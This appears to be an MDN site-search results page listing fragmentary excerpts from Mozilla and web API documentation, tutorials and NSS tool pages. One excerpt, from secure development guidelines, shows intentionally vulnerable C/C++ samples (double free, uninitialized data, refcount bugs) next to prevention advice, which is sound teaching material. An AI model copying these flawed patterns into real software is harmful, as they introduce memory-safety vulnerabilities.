... object representing a file var file = components.classes['@mozilla.org/file/local;1'] .createinstance(components.interfaces.nsilocalfile); file.initwithpath('c:\\temp\\temp.txt'); creating and deleting files listing 7 shows how to delete a file if it exists, and create a new file with the same name.
...And 2 more matches
JavaScript Client API - Archive of obsolete content
lity of this method to define the guid -> item mapping, and to store it for later reference by other methods.
...so for example, bookmarkstore.create() adds a new bookmark to the firefox profile).
...the firefox profile).
...And 2 more matches
Space Manager Detailed Design - Archive of obsolete content
class declaration, taken from the source file as of 01.08.02 /** * class for dealing with bands of available space.
...nd rects struct bandlist : bandrect { bandlist(); // accessors prbool isempty() const {return pr_clist_is_empty((prcliststr*)this);} bandrect* head() const {return (bandrect*)pr_list_head(this);} bandrect* tail() const {return (bandrect*)pr_list_tail(this);} // operations void append(bandrect* abandrect) {pr_append_link(abandrect, this);} // remove and delete all the band rects in the list void clear(); }; frameinfo* getframeinfofor(nsiframe* aframe); frameinfo* createframeinfo(nsiframe* aframe, const nsrect& arect); void destroyframeinfo(frameinfo*); void clearframeinfo(); void clearbandrects(); bandrect* getnextband(const bandrect* abandrect) const; void divideband(bandrect* aband, nscoord abotto...
...spacemanager&); // no implementation }; public api life cycle the constructor requires a presentation shell, used for arena allocations mostly, and a frame that this space manager is rooted on.
...And 2 more matches
MenuItems - Archive of obsolete content
he disabled property to true.
...roperty to false again.
...ange the disabled state in a popupshowing event handler.
...And 2 more matches
NPP_Destroy - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary deletes a specific instance of a plug-in.
... « gecko plugin api reference « plug-in side plug-in api summary deletes a specific instance of a plug-in.
...stance of this plug-in at the same url.
...And 2 more matches
Object.observe() - Archive of obsolete content
d.
...hanges are made, with the following argument: changes an array of objects each representing a change.
...as changed.
...And 2 more matches
Old Proxy API - Archive of obsolete content
> strings array this function doesn't exist in ecmascript 5.
...is function doesn't exist in ecmascript 5.
...pt 5.
...And 2 more matches
React interactivity: Editing, filtering, conditional rendering - Learn web development
e of the terminal/command line.
... component, in the same place as the other functions: function edittask(id, newname) { const editedtasklist = tasks.map(task => { // if this task has the same id as the edited task if (id === task.id) { // return {...task, name: newname} } return task; }); settasks(editedtasklist); } pass edittask into our <todo /> components as a prop in the same way we did with deletetask: const tasklist = tasks.map(task => ( <todo id={task.id} name={task.name} completed={task.completed} key={task.id} toggletaskcompleted={toggletaskcompleted} deletetask={deletetask} edittask={edittask} /> )); now open todo.js.
... /> <label classname="todo-label" htmlfor={props.id}> {props.name} </label> </div> <div classname="btn-group"> <button type="button" classname="btn"> edit <span classname="visually-hidden">{props.name}</span> </button> <button type="button" classname="btn btn__danger" onclick={() => props.deletetask(props.id)} > delete <span classname="visually-hidden">{props.name}</span> </button> </div> </div> ); we've now got the two different template structures — "edit" and "view" — defined inside two separate constants.
...And 2 more matches
JSClass
a jsclass describes a class of javascript objects.
...r * class name flags uint32_t class flags.
...e or more of the jsclass_* constants described in jsclass.flags.
...And 2 more matches
JS_ClearNonGlobalObject
uced in spidermonkey 24 remove all properties associated with an object.
...r must be in a request on this jscontext.
...ct * object from which to delete all properties.
...And 2 more matches
JS_ClearScope
at any time.
... the caller must be in a request on this jscontext.
... jsobject * object from which to delete all properties.
...And 2 more matches
JSAPI reference
ons correspond directly to the ways scripts access object properties: js_getproperty js_getucproperty js_getpropertybyid added in spidermonkey 1.8.1 js_setproperty js_setucproperty js_setpropertybyid added in spidermonkey 1.8.1 js_hasproperty js_hasucproperty js_haspropertybyid added in spidermonkey 1.8.1 js_hasownproperty added in jsapi 45 js_hasownpropertybyid added in jsapi 45 js_deleteproperty js_deletepropertybyid added in spidermonkey 1.8.1 js_deleteproperty2 obsolete since jsapi 39 js_deleteucproperty2 obsolete since jsapi 39 js_deletepropertybyid2 added in spidermonkey 1.8.1 obsolete since jsapi 39 the following functions are lower-level, allowing the jsapi application more access to details of how properties are implemented.
...lass_new_resolve_gets_start obsolete since jsapi 16 jsclass_construct_prototype obsolete since jsapi 11 jsclass_is_extended obsolete since jsapi 17 jsclass_mark_is_trace obsolete since jsapi 5 the behavior of a jsclass and its instances can be customized in many ways using callback functions.
...olete jsxdrobjectop obsolete since jsapi 13 jsnewresolveop obsolete since jsapi 36 jsmarkop obsolete since jsapi 5 jsgetobjectops obsolete since javascript 1.8.5 jsreserveslotsop obsolete since javascript 1.8.5 these stub functions can be used when creating a custom jsclass: js_propertystub js_strictpropertystub added in spidermonkey 1.9.3 js_convertstub obsolete since jsapi 37 js_deletepropertystub obsolete since jsapi 37 js_enumeratestub obsolete since jsapi 37 js_finalizestub obsolete since jsapi 15 js_resolvestub obsolete since jsapi 37 jsextendedclass method types: in js 1.8.5, jsextendedclass has made private.
...And 2 more matches
Secure Development Guidelines
ix: always use a format string specifier: int main(int argc, char *argv[]) { if (argc > 1) printf("%s", argv[1]); } double free example: void* ptr = malloc(1024); if (error) { free(ptr); } free(ptr); double free: prevention set a pointer to null when it’s freed valgrind or malloc debugging can help detect those bugs use after free accessing data after a free() or delete can lead to undefined behavior some debug tools might be able catch some cases un-initialized data example: int main() { char *uninitialized_ptr; printf("0x%08x\r\n", uninitialized_ptr); return 0; } $ ./test 0x8fe0103 un-initialized data: prevention initialize your variables!
...aks: prevention tools like valgrind can help detect memory leaks writing secure code: object management reference counting issues real-life example (bug 440230) void addref() { ++mrefcnt; ns_log_addref(this, mrefcnt, "nscssvalue::array", sizeof(*this)); } void release() { --mrefcnt; ns_log_release(this, mrefcnt, "nscssvalue::array"); if (mrefcnt == 0) delete this; } reference counting issues: prevention use the largest data type available on your platform for your reference counter use a hard limit constructor/destructor issues if a constructor fails the destructor never gets called this can lead to memory leaks constructor/destructor issues example class foo { private: char *ptr; public: foo() {} ...
... tmp = realloc(tmp, size) — realloc could fail and leak tmp writing secure code: exception handling double freeing pointers double frees can occur in exception handling they free data in try block and then free it again in the catch block this is a common issue double freeing pointers char *ptr1 = null, *ptr2 = null; try { ptr1 = new char[1024]; do_something(); delete ptr1; do_something_else(); ptr2 = new char[-1] // oom } catch (...) { delete ptr1; delete ptr2; } new will throw an exception — ptr1 is already freed in the try block then freed again in the catch block freeing un-initialized data free data in the catch block assumption is that it’s initialized in the try block if the try block throws before the variable is ini...
...And 2 more matches
Introduction to XPCOM for the DOM
instance, if nsfoo implements two different interfaces, nsifoo and nsibar, a pointer to nsifoo cannot call the methods defined on nsibar and vice-versa.
... methods defined on nsibar and vice-versa.
...ence count of that object by one.
...And 2 more matches
nsIBrowserHistory
ameters none.
...ead.
... timeframe, using a batch.
...And 2 more matches
nsIFileStreams
the nsifilestreams interface is an input stream that allows you to read from a file.
... that allows you to read from a file.
...y to this article.
...And 2 more matches
nsILocalFile
to uniquely identify the file on the local file system.
... if (ferror(fp) != 0) rv = ns_error_unexpected; fclose(fp); return rv; } native code only!
...) != 0) rv = ns_error_unexpected; fclose(fp); return rv; } native code only!
...And 2 more matches
nsIWritablePropertyBag
xpcom/ds/nsiwritablepropertybag.idlscriptable please add a summary to this article.
... xpcom/ds/nsiwritablepropertybag.idlscriptable please add a summary to this article.
... xpcom/ds/nsiwritablepropertybag.idlscriptable please add a summary to this article.
...And 2 more matches
Performance
ons (see the "atomic commit" section of http://www.sqlite.org/php2004/slides-all.html for more information on how this works).
...ound this is to run the vacuum command to remove this space.
... mv newdb olddb.
...And 2 more matches
Plug-in Basics - Plugins
n a single page, or in several open windows at the same time.
...he same time.
....
...And 2 more matches
Tips - Firefox Developer Tools
e between a light and a dark theme for the developer tools.
...er navigation.
...hover the "js" icon within the "cause" column to see the javascript stack trace, which caused the request.
...And 2 more matches
ContentIndexEvent.id - Web APIs
the read-only id property of the contentindexevent interface is a string which identifies the deleted content index via it's id.
... the read-only id property of the contentindexevent interface is a string which identifies the deleted content index via it's id.
... the read-only id property of the contentindexevent interface is a string which identifies the deleted content index via it's id.
...And 2 more matches
DirectoryEntrySync - Web APIs
ts.
... quota_exceeded_error the operation would cause the application to exceed its storage quota.
...ause the application to exceed its storage quota.
...And 2 more matches
HTMLTableElement - Web APIs
te.
...ves the first <thead> that is a child of the element.
...a <thead>, or as the last child if there is no such element.
...And 2 more matches
IDBObjectStore - Web APIs
e.
... separate thread, returns the total number of records that match the provided key or idbkeyrange.
...ns the total number of records in the store.
...And 2 more matches
KeyboardEvent: code values - Web APIs
unidentified" "" 0xe04b "arrowleft" "arrowleft" 0xe04c "unidentified" "" 0xe04d "arrowright" "arrowright" 0xe04e "unidentified" "" 0xe04f "end" "end" 0xe050 "arrowdown" "arrowdown" 0xe051 "pagedown" "pagedown" 0xe052 "insert" "insert" 0xe053 "delete" "delete" 0xe054 ~ 0xe05a "unidentified" "" 0xe05b "metaleft" "osleft" 0xe05c "metaright" "osright" 0xe05d "contextmenu" "contextmenu" 0xe05e "power" "" 0xe05f ~ 0xe064 "unidentified" "" 0xe065 "browsersearch" "browsersearch" 0xe066 "brows...
...mma (0x2b) "comma" "comma" kvk_ansi_slash (0x2c) "slash" "slash" kvk_ansi_n (0x2d) "keyn" "keyn" kvk_ansi_m (0x2e) "keym" "keym" kvk_ansi_period (0x2f) "period" "period" kvk_tab (0x30) "tab" "tab" kvk_space (0x31) "space" "space" kvk_ansi_grave (0x32) "backquote" "backquote" kvk_delete (0x33) "backspace" "backspace" enter key on keypad of powerbook (0x34) "numpadenter" "" kvk_escape (0x35) "escape" "escape" right-command key (0x36) "osright" "osright" kvk_command (0x37) "osleft" "osleft" kvk_shift (0x38) "shiftleft" "shiftleft" kvk_capslock (0x39) "capslock" "capslock" kvk_o...
...3 (0x69) "f13" "f13" kvk_f16 (0x6a) "f16" "f16" kvk_f14 (0x6b) "f14" "f14" kvk_f10 (0x6d) "f10" "f10" kvk_f12 (0x6f) "f12" "f12" kvk_f15 (0x71) "f15" "f15" kvk_help (0x72) "help" "insert" kvk_home (0x73) "home" "home" kvk_pageup (0x74) "pageup" "pageup" kvk_forwarddelete (0x75) "delete" "delete" kvk_f4 (0x76) "f4" "f4" kvk_end (0x77) "end" "end" kvk_f2 (0x78) "f2" "f2" kvk_pagedown (0x79) "pagedown" "pagedown" kvk_f1 (0x7a) "f1" "f1" kvk_leftarrow (0x7b) "arrowleft" "arrowleft" kvk_rightarrow (0x7c) "arrowright" "arrowright" kvk_downarrow (0x7d)...
...And 2 more matches
Using the MediaStream Recording API - Web APIs
is using mediarecorder.onstop, and finalize our blob there from all the chunks we have received: mediarecorder.onstop = function(e) { console.log("recorder stopped"); const clipname = prompt('enter a name for your sound clip'); const clipcontainer = document.createelement('article'); const cliplabel = document.createelement('p'); const audio = document.createelement('audio'); const deletebutton = document.createelement('button'); clipcontainer.classlist.add('clip'); audio.setattribute('controls', ''); deletebutton.innerhtml = "delete"; cliplabel.innerhtml = clipname; clipcontainer.appendchild(audio); clipcontainer.appendchild(cliplabel); clipcontainer.appendchild(deletebutton); soundclips.appendchild(clipcontainer); const blob = new blob(chunks, { 'type' : 'au...
... deletebutton.innerhtml = "delete"; cliplabel.innerhtml = clipname; clipcontainer.appendchild(audio); clipcontainer.appendchild(cliplabel); clipcontainer.appendchild(deletebutton); soundclips.appendchild(clipcontainer); const blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); chunks = []; const audiourl = window.url.createobjecturl(blob); audio.src = audiourl; deletebutton.onclick = function(e) { let evttgt = e.target; evttgt.parentnode.parentnode.removechild(evttgt.parentnode); } } let's go through the above code and look at what's happening.
...tgt.parentnode.parentnode.removechild(evttgt.parentnode); } } let's go through the above code and look at what's happening.
...And 2 more matches
Keyed collections - JavaScript
with a map.
...ined sayings.has('bird'); // false sayings.delete('dog'); sayings.has('dog'); // false for (let [key, value] of sayings) { console.log(key + ' goes ' + value); } // "cat goes meow" // "elephant goes toot" sayings.clear(); sayings.size; // 0 object and map compared traditionally, objects have been used to map strings to values.
...bjects are collections of values.
...And 2 more matches
Working with objects - JavaScript
compact and natural.
...re of javascript — but it can make the code hard to read and understand.
...ng properties you can remove a non-inherited property by using the delete operator.
...And 2 more matches
Map - JavaScript
= nan) and all other values are considered equal according to the semantics of the === operator.
...t wrongmap = new map() wrongmap['bla'] = 'blaa' wrongmap['bla2'] = 'blaaa2' console.log(wrongmap) // map { bla: 'blaa', bla2: 'blaaa2' } but that way of setting a property does not interact with the map data structure.
...t usage for storing data in the map is through the set(key, value) method.
...And 2 more matches
Object.seal() - JavaScript
ew properties from being added and marks all existing properties as non-configurable.
... as well.
... === true // changing property values on a sealed object // still works.
...And 2 more matches
for...in - JavaScript
ited non–enumerable properties from object.prototype and string.prototype, such as string's indexof() method or object's tostring() method.
...ng() method.
...dded, or modified properties a for...in loop iterates over the properties of an object in an arbitrary order (see the delete operator for more on why one cannot depend on the seeming orderliness of iteration, at least in a cross-browser setting).
...And 2 more matches
var - JavaScript
nsole.log(x); // undefined (note: not referenceerror) console.log('still going...'); // still going...
... // undefined (note: not referenceerror) console.log('still going...'); // still going...
...me to distinguish between global variables and straightforward properties on the global object.
...And 2 more matches
Strict mode - JavaScript
efineproperty(obj1, 'x', { value: 42, writable: false }); obj1.x = 9; // throws a typeerror // assignment to a getter-only property var obj2 = { get x() { return 17; } }; obj2.x = 5; // throws a typeerror // assignment to a new property on a non-extensible object var fixed = {}; object.preventextensions(fixed); fixed.newprop = 'ohai'; // throws a typeerror third, strict mode makes attempts to delete undeletable properties throw (where before the attempt would simply have no effect): 'use strict'; delete object.prototype; // throws a typeerror fourth, strict mode prior to gecko 34 requires that all properties named in an object literal be unique.
...'"); strict1("'use strict'; 'strict mode code!'"); strict2(eval, "'non-strict code.'"); strict2(eval, "'use strict'; 'strict mode code!'"); nonstrict("'non-strict code.'"); nonstrict("'use strict'; 'strict mode code!'"); thus names in strict mode eval code behave identically to names in strict mode code not being evaluated as the result of eval.
...n-strict code.'"); strict2(eval, "'use strict'; 'strict mode code!'"); nonstrict("'non-strict code.'"); nonstrict("'use strict'; 'strict mode code!'"); thus names in strict mode eval code behave identically to names in strict mode code not being evaluated as the result of eval.
...And 2 more matches
request - Archive of obsolete content
n; charset=latin1", oncomplete: function (response) { console.log(response.text); } }); quijote.get(); anonymous boolean if true, the request will be sent without cookies or authentication headers.
...request({ url: "https://api.twitter.com/1.1/application/rate_limit_status.json", oncomplete: function (response) { if (response.json.remaining_hits) { latesttweetrequest.get(); } else { console.log("you have been rate limited!"); } } }).get(); methods get() make a get request.
..."https://api.twitter.com/1.1/application/rate_limit_status.json", oncomplete: function (response) { if (response.json.remaining_hits) { latesttweetrequest.get(); } else { console.log("you have been rate limited!"); } } }).get(); methods get() make a get request.
...enttype response events complete the request object emits this event when the request has completed and a response has been received.
simple-storage - Archive of obsolete content
read", icon: "./read.png", onclick: function() { console.log(ss.storage.pages); } }); but this isn't going to work, because it empties the array each time the add-on runs (for example, each time firefox is started).
... onclick: function() { console.log(ss.storage.pages); } }); but this isn't going to work, because it empties the array each time the add-on runs (for example, each time firefox is started).
...isn't going to work, because it empties the array each time the add-on runs (for example, each time firefox is started).
...tton/action").actionbutton({ id: "write", label: "write", icon: "./write.png", onclick: function() { ss.storage.value = 1; console.log("setting value"); } }); require("sdk/ui/button/action").actionbutton({ id: "read", label: "read", icon: "./read.png", onclick: function() { console.log(ss.storage.value); } }); require("sdk/ui/button/action").actionbutton({ id: "delete", label: "delete", icon: "./delete.png", onclick: function() { delete ss.storage.value; console.log("deleting value"); } }); if you run it, you'll see that after clicking "read" after clicking "delete" gives you the expected output: info: undefined note that to run this add-on you'll have to save icon files named "write.png", "read.png", and "delete.png" to the add-on's "data"...
ui/button/toggle - Archive of obsolete content
also updated when the user clicks the button (or when some code calls button.click()).
... default behavior, you can delete the window-specific state in your button's onchange handler.
... this.state('window', null); // now that the state hierarchy is clean, set the global state this.checked = !this.checked; } }); here's a button that makes click events update only the current tab: var { togglebutton } = require('sdk/ui/button/toggle'); var tabtoggle = togglebutton({ id: 'my-tab-toggle', label: 'tab-specific', icon: './foo.png', onchange: function() { // delete the window state for the current window, // automatically set when the user click on the button this.state('window', null); // now that the state hierarchy is clean, set the // tab state for the current tab let { checked } = this.state('tab'); this.state('tab', {checked: !checked}); } }); destroying buttons when you've finished with a button, destroy it by calling its...
... for each tab in a window.
JavaScript crypto - Archive of obsolete content
eprecatedthis feature has been removed from the web standards.
...certnickname"; var cert = "mkjflakdjfiwjflaksufklasf ..."; var forcebackup = false; function loadcertificate() { window.crypto.importusercertificates(nickname, cert, forcebackup); return false; } document.forms[0].onsubmit = loadcertificate; </script> signing text domstring signtext(domstring stringtosign, domstring caoption /* ...
...oading pkcs #11 modules long deletemodule(domstring modulename); long addmodule(domstring modulename, domstring libraryfullpath, long cryptomechanismflags, long cipherflags); loads or removes a new pkcs #11 module.
...th, long cryptomechanismflags, long cipherflags); loads or removes a new pkcs #11 module.
Return Codes - Archive of obsolete content
a problem occurred with the parameters to initinstall, or initinstall was not called first silent_mode_denied -212 the silent installation privilege has not been granted.
... silent_mode_denied -212 the silent installation privilege has not been granted.
... -213 the specified component is not present in the client version registry.
... -214 the specified file cannot be deleted because it does not exist.
SeaMonkey - making custom toolbar (SM ver. 1.x) - Archive of obsolete content
javascript console window, paste the code in the field near the top.
... for its classic theme.
...sting your new button restart seamonkey.
...all the toolbars in a single file, button.xul.
CRUD - MDN Web Docs Glossary: Definitions of Web-related terms
crud (create, read, update, delete) is an acronym for ways one can operate on stored data.
... crud (create, read, update, delete) is an acronym for ways one can operate on stored data.
... crud (create, read, update, delete) is an acronym for ways one can operate on stored data.
... crud (create, read, update, delete) is an acronym for ways one can operate on stored data.
Preflight request - MDN Web Docs Glossary: Definitions of Web-related terms
aders: access-control-request-method, access-control-request-headers, and the origin header.
...hod, access-control-request-headers, and the origin header.
...sued by a browser and in normal cases, front-end developers don't need to craft such requests themselves.
... asking a server if it would allow a delete request, before sending a delete request, by using a preflight request: options /resource/foo access-control-request-method: delete access-control-request-headers: origin, x-requested-with origin: https://foo.bar.org if the server allows it, then it will respond to the preflight request with an access-control-allow-methods response header, which lists delete: http/1.1 204 no content connection: keep-alive access-control-allow-origin: https://foo.bar.org access-control-allow-methods: post, get, options, delete access-control-max-age: 86400 the preflight response can be optionally cached for the requests created in the same url using access-control-max-age header like in the above example.
Safe - MDN Web Docs Glossary: Definitions of Web-related terms
an http method is safe if it doesn't alter the state of the server.
...ly, the webserver itself, being apache, nginx or iis, can't enforce it by itself.
...erver itself, being apache, nginx or iis, can't enforce it by itself.
.../pagex.html http/1.1 a call to a non-safe method, that may change the state of the server: post /pagex.html http/1.1 a call to an idempotent but non-safe method: delete /idx/delete http/1.1 learn more general knowledge definition of safe in the http specification.
Index - Learn web development
y into components, end render them efficiently.
...ne, and also share some of the resources that you should go on to, to continue your svelte learning journey.
...an improve usability and reduce confusion for both keyboard-only and screenreader users.
... the next article we will look at conditional rendering, and how we can use it to show an edit form when we want to edit existing todo items.
Build your own function - Learn web development
ivated when the user wants to close the message box.
...javascript console and type the line again there, you'll see it appear again!
...and system actions.
... given default padding and no icon, with no background panel color set either.
Getting started with React - Learn web development
ur code.
...ct application with the app component as the root, or first component.
...mething like this: reactdom.render(<app subject="clarice" />, document.getelementbyid('root')); back in app.js, let's revisit the app function itself, which reads like this (with the return statement shortened for brevity): function app() { const subject = "react"; return ( // return statement ); } change the signature of the app function so that it accepts props as a parameter, and delete the subject const.
...rresponds to the subject prop we added to our <app /> component call, and the string clarice corresponds to its value.
Starting our Svelte Todo list app - Learn web development
in svelte, we can start building our example app: a todo list.
...do-2" checked/> <label for="todo-2" class="todo-label"> create your first component </label> </div> <div class="btn-group"> <button type="button" class="btn"> edit <span class="visually-hidden">create your first component</span> </button> <button type="button" class="btn btn__danger"> delete <span class="visually-hidden">create your first component</span> </button> </div> </div> </li> <!-- todo-3 --> <li class="todo"> <div class="stack-small"> <div class="c-cb"> <input type="checkbox" id="todo-3" /> <label for="todo-3" class="todo-label"> complete the rest of the tutorial </label>...
... /> <label for="todo-3" class="todo-label"> complete the rest of the tutorial </label> </div> <div class="btn-group"> <button type="button" class="btn"> edit <span class="visually-hidden">complete the rest of the tutorial</span> </button> <button type="button" class="btn btn__danger"> delete <span class="visually-hidden">complete the rest of the tutorial</span> </button> </div> </div> </li> </ul> <hr /> <!-- moreactions --> <div class="btn-group"> <button type="button" class="btn btn__primary">check all</button> <button type="button" class="btn btn__primary">remove completed</button> </div> </div> check the rendered out ag...
...ring new tasks.
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
s nicely with the svelte reactive system.
...for seamlessly integrating with third party libraries.
...ponent methods and variables using the bind:this={component} directive there's still one accessibility annoyance left.
...bind:this={todosstatus} directive to the call, as follows: <!-- todosstatus --> <todosstatus bind:this={todosstatus} {todos} /> now we can call the exported focus() method from our removetodo() function: function removetodo(todo) { todos = todos.filter(t => t.id !== todo.id) todosstatus.focus() // give focus to status heading } go back to your app — now if you delete any todo, the status heading will be focussed — this is useful to highlight the change in numbers of todos, both to sighted users and screenreader users.
Getting started with Vue - Learn web development
ttp://localhost:8080 as stated above, but may vary based on your setup), you should see your app.
...ry based on your setup), you should see your app.
...ouple of changes let's make our first change to the app — we’ll delete the vue logo.
...t instantly.
Eclipse CDT
front window", "-e", "end tell"]) todo: add instructions for linux and windows.
...ng a separate page for that tool since this page is already pretty long.
...f you followed the recommendation above to create one workspace containing only one project for each mozilla tree, then this is easy.
... if you get the message "resource is out of sync with the file system", then you didn't set the "refresh" options above in the initial workspace preferences section.
Localizing with Koala
summary of what the output of the comparison means: files: "unmodified" - the file is completely translated.
...e is completely translated.
...r one is "removed" is actually the same file which has been moved from one directory to a different one.
...g them, you will need to "hg add" them.
Profile Manager
and choose "backup to->backup folder" from the toolbar's backup menu.
...backed up, and the backup will appear under the backups column in the main display: to restore a profile: select the backup in the main display, open the context menu, and choose "restore".
... "restore from->archive" from the toolbar's backup menu.
... from->archive" from the toolbar's backup menu.
Encrypt Decrypt_MAC_Using Token
ilename, infilename); strcat(headerfilename, ".header"); /* for intermediate encrypted file, choose filename as inputfile name with extension ".enc" */ strcpy(encryptedfilename, infilename); strcat(encryptedfilename, ".enc"); pr_init(pr_user_thread, pr_priority_normal, 0); switch (cmd) { case encrypt: /* if the intermediate header file already exists, delete it.
...choose filename as inputfile name with extension ".enc" */ strcpy(encryptedfilename, infilename); strcat(encryptedfilename, ".enc"); pr_init(pr_user_thread, pr_priority_normal, 0); switch (cmd) { case encrypt: /* if the intermediate header file already exists, delete it.
...me, infilename); strcat(encryptedfilename, ".enc"); pr_init(pr_user_thread, pr_priority_normal, 0); switch (cmd) { case encrypt: /* if the intermediate header file already exists, delete it.
...0); switch (cmd) { case encrypt: /* if the intermediate header file already exists, delete it.
NSS tools : crlutil
name crlutil — list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
...abase file(s) and list, create, modify or delete certificates entries in a particular crl.
...lar crl.
...owing section.
sslerr.html
same nickname already exists.
...error_key_nickname_collision -8123 a key with the same nickname already exists.
..._key -8096 unable to export.
... sec_error_cannot_move_sensitive_key -8087 "a sensitive key cannot be moved to the slot where it is needed." sec_error_js_invalid_module_name -8086 invalid module name.
NSS tools : crlutil
Mozilla › Projects › NSS › tools › crlutil
name crlutil — list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
... name crlutil — list, generate, modify, or delete crls within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
... within the nss security database file(s) and list, create, modify or delete certificates entries in a particular crl.
...ption.
JSObjectOps.getProperty
may still work in some browsers, its use is discouraged since it could be removed at any time.
...bj, jsid id, jsval *vp); name type description cx jscontext * pointer to the js context in which the property access is happening.
... vp jsval * in/out parameter.
... success.
JS_PropertyStub
js::mutablehandlevalue vp, js::objectopresult &result); // added in spidermonkey 45 bool js_strictpropertystub(jscontext *cx, js::handleobject obj, js::handleid id, bool strict, js::mutablehandlevalue vp); // obsolete since jsapi 39 bool js_resolvestub(jscontext *cx, js::handleobject obj, js::handleid id, bool *resolvedp); // obsolete since jsapi 37 bool js_deletepropertystub(jscontext *cx, js::handleobject obj, js::handleid id, bool *succeeded); // obsolete since jsapi 37 bool js_enumeratestub(jscontext *cx, js::handleobject obj); // obsolete since jsapi 37 bool js_convertstub(jscontext *cx, js::handleobject obj, jstype type, js::mutablehandlevalue vp); // obsolete since jsapi 37 void js_finalizestub(jscontext *cx, ...
...rty, and jsclass.getproperty.
... behaves exactly like a property callback that accepts the default property behavior: it does nothing and returns true.
...s.
Property attributes
the property's value cannot be set.
...er, it is an error to attempt to assign a value to a read-only property.
...value on a read-only property are ignored.
...bute.
SpiderMonkey 24
otype.
...lp embedders writing c++ projects.
...deleted apis...
...ss all api changes here...
nsIDictionary
nkey 1.0) note: this interface was removed in firefox 3.5; use dict.jsm instead.
...alue the value associated with the specified key.
...n't exist, ns_error_failure is returned.
...sisupports value ); parameters key the key by which the value can be accessed.
nsIFile
a is lost when you convert to a string.
... a very fast operation because it just changes directory information.
... a very fast operation because it just changes directory information.
... "newparentdir" exists and is not a directory.
nsIJumpListBuilder
removed items internally.
...rown ns_error_unexpected on internal errors.
...pected on internal errors.
...ters are passed for a particular category or item type.
nsIMsgDBViewCommandUpdater
or different windows in several different places: nsmsgdbviewcommandupdater (for the standalone message window) nsmsgdbviewcommandupdater (for the threadpane message window) nsmsgsearchcommandupdater (for search dialogs) method overview void updatecommandstatus(); void displaymessagechanged(in nsimsgfolder afolder, in astring asubject, in acstring akeywords); void updatenextmessageafterdelete(); methods updatecommandstatus() called when the number of selected items changes.
...commandstatus(); parameters none.
....
...er afolder, in astring asubject, in acstring akeywords ); parameters afolder the folder containing selected message.
nsINavBookmarksService
given uri.
...uri( in nsiuri auri ); parameters auri the uri whose keyword is to be retrieved.
...ters auri the uri whose keyword is to be retrieved.
...n long long afolder ); parameters afolder the id of the folder to remove.
nsIPluginHost
.idlscriptable please add a summary to this article.
....3 / seamonkey 2.1)this feature is obsolete.
...ure is obsolete.
...uraged since it could be removed at any time.
nsISelection
e(in nsidomrange range); void collapse(in nsidomnode parentnode, in long offset); [noscript,notxpcom,nostdcall] boolean collapsed(); void collapsenative(in nsidomnode parentnode, in long offset); native code only!
...ly returns true when the entire node is part of the selection.
...the entire node is part of the selection.
...n nsidomnode node, in boolean partlycontained ); parameters node the nsidomnode to look for partlycontained if partlycontained is set to pr_false, the function only returns true when the entire node is part of the selection.
Reference Manual
to |0| foo->dosomething(); // ns_precondition: "you can't dereference a null nscomptr with operator->()" a similar precondition intervenes on behalf of operator*.
... a similar precondition intervenes on behalf of operator*.
...ntervenes on behalf of operator*.
...act same code, and takes the same time, as performing this operation on a raw xpcom interface pointer.
Debugging service workers - Firefox Developer Tools
the cache.
...n you fill up the cache with assets, but then want to alter the behavior slightly, you previously had to manually write code to empty the cache, and then fill it again.
...ut then want to alter the behavior slightly, you previously had to manually write code to empty the cache, and then fill it again.
...ehavior slightly, you previously had to manually write code to empty the cache, and then fill it again.
Debugger.Object - Firefox Developer Tools
s function behaves like object.defineproperty, except that the target object is implicit, and in a different compartment from the function and descriptor.) defineproperties(properties) add the properties given byproperties to the referent.
...es like object.defineproperties, except that the target object is implicit, and in a different compartment from theproperties argument.) deleteproperty(name) remove the referent’s property namedname.
...as no such property.
...g the referent as the variable object, but with a lexical environment extended with bindings from the objectbindings.
Examine and edit HTML - Firefox Developer Tools
ts present in the dom are exposed in the html page in the same manner as the regular dom.
...ref until firefox 63.
...d node into view.
...w.
CSSStyleSheet.removeRule() - Web APIs
the obsolete cssstylesheet method removerule() removes a rule from the stylesheet object.
... the obsolete cssstylesheet method removerule() removes a rule from the stylesheet object.
... has been replaced by the standard method deleterule().
...eleterule().
CSSStyleSheet - Web APIs
operties inherits properties from its parent, stylesheet.
...] // where i = 0..cssrules.length-1 to add or remove items in cssrules, use the cssstylesheet's insertrule() and deleterule() methods.
... 0..cssrules.length-1 to add or remove items in cssrules, use the cssstylesheet's insertrule() and deleterule() methods.
...t be used if they can be avoided, but are not in danger of being removed anytime soon.
FileSystemEntrySync - Web APIs
y.
...you can use to fill src or href attributes.
... the file system url does not expire.
...ecause the method describes a location on disk, the url is valid for as long as that location exists.
Introduction to the File and Directory Entries API - Web APIs
port a file from a web app to a desktop app.
...invoke the download manager.
...b applications.
...y data referenced by a blob cannot be modified directly.
Headers - Web APIs
Web › API › Headers
his interface, header names are matched by case-insensitive byte sequence.
...tries(): for (var p of myheaders) is equivalent to for (var p of myheaders.entries()).
...or (var p of myheaders) is equivalent to for (var p of myheaders.entries()).
... the header has an immutable guard.
RTCIceCandidateStats - Web APIs
address optional a string containing the address of the candidate.
...ddress, an ipv6 address, or a fully-qualified domain name.
...y accepted ip addresses.
...alue indicating whether or not the candidate has been released or deleted; the default value is false.
URLSearchParams - Web APIs
for example the following two lines are equivalent: for (const [key, value] of mysearchparams) {} for (const [key, value] of mysearchparams.entries()) {} note: this feature is available in web workers.
...e the following two lines are equivalent: for (const [key, value] of mysearchparams) {} for (const [key, value] of mysearchparams.entries()) {} note: this feature is available in web workers.
...ociated with a given search parameter.
...("topic") === true; // true searchparams.get("topic") === "api"; // true searchparams.getall("topic"); // ["api"] searchparams.get("foo") === null; // true searchparams.append("topic", "webdev"); searchparams.tostring(); // "q=urlutils.searchparams&topic=api&topic=webdev" searchparams.set("topic", "more webdev"); searchparams.tostring(); // "q=urlutils.searchparams&topic=more+webdev" searchparams.delete("topic"); searchparams.tostring(); // "q=urlutils.searchparams" gotchas the urlsearchparams constructor does not parse full urls.
UserDataHandler - Web APIs
fox 26 / thunderbird 26 / seamonkey 2.23 / firefox os 1.2)this feature is obsolete.
...dopted.
...rties none.
...d short) is an operation type integer (see below).
WebGL best practices - Web APIs
